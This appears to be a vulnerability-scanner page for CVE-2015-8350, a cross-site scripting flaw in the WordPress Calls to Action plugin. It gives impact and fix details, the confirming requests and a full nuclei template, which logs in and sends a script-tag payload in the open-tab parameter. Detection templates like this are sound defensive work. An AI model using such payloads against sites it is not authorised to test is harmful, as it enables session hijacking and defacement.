WordPress Calls to Action <=2.4.3 - Authenticated Reflected XSS

mediumseverity

6.1CVSS score

2.6%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Calls to Action plugin before 2.5.1 for WordPress contains stored XSS caused by unsanitized input in open-tab parameter in wp-admin/edit.php and wp-cta-variation-id parameter in ab-testing-call-to-action-example/, letting remote attackers inject arbitrary web script or HTML, exploit requires sending crafted requests.

Impact

Attackers can execute arbitrary scripts in the context of the affected website, leading to session hijacking, defacement, or redirection.

Fix

Update to version 2.5.1 or later to fix the vulnerabilities.

How to confirm it

Send: GET /wp-login.php
Positive when: status 200
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/edit.php?post_type=wp-call-to-action&page=wp_cta_global_settings&open-tab='><script>alert(document.domain)</script>
Positive when: status_code == 200 and contains_all(body, "open-tab", "<script>alert(document.domain)</script>") and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2015-8350 -u <target>

The full check

id: CVE-2015-8350

info:
  name: WordPress Calls to Action <=2.4.3 - Authenticated Reflected XSS
  author: 0x_Akoko
  severity: medium
  description: |
    Calls to Action plugin before 2.5.1 for WordPress contains stored XSS caused by unsanitized input in open-tab parameter in wp-admin/edit.php and wp-cta-variation-id parameter in ab-testing-call-to-action-example/, letting remote attackers inject arbitrary web script or HTML, exploit requires sending crafted requests.
  impact: |
    Attackers can execute arbitrary scripts in the context of the affected website, leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 2.5.1 or later to fix the vulnerabilities.
  reference:
    - https://www.immuniweb.com/advisory/HTB23274
    - https://seclists.org/bugtraq/2015/Dec/9
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8350
    - https://plugins.trac.wordpress.org/changeset/1274208/cta
    - http://packetstormsecurity.com/files/134598/WordPress-Calls-To-Action-2.4.3-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-8350
    cwe-id: CWE-79
    epss-score: 0.02645
    epss-percentile: 0.8573
    cpe: cpe:2.3:a:inboundnow:call_to_action:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: inboundnow
    product: call_to_action
    framework: wordpress
  tags: seclists,cve,cve2015,wordpress,wp-plugin,xss,reflected,authenticated,vuln
flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=wp-call-to-action&page=wp_cta_global_settings&open-tab='><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "open-tab", "<script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from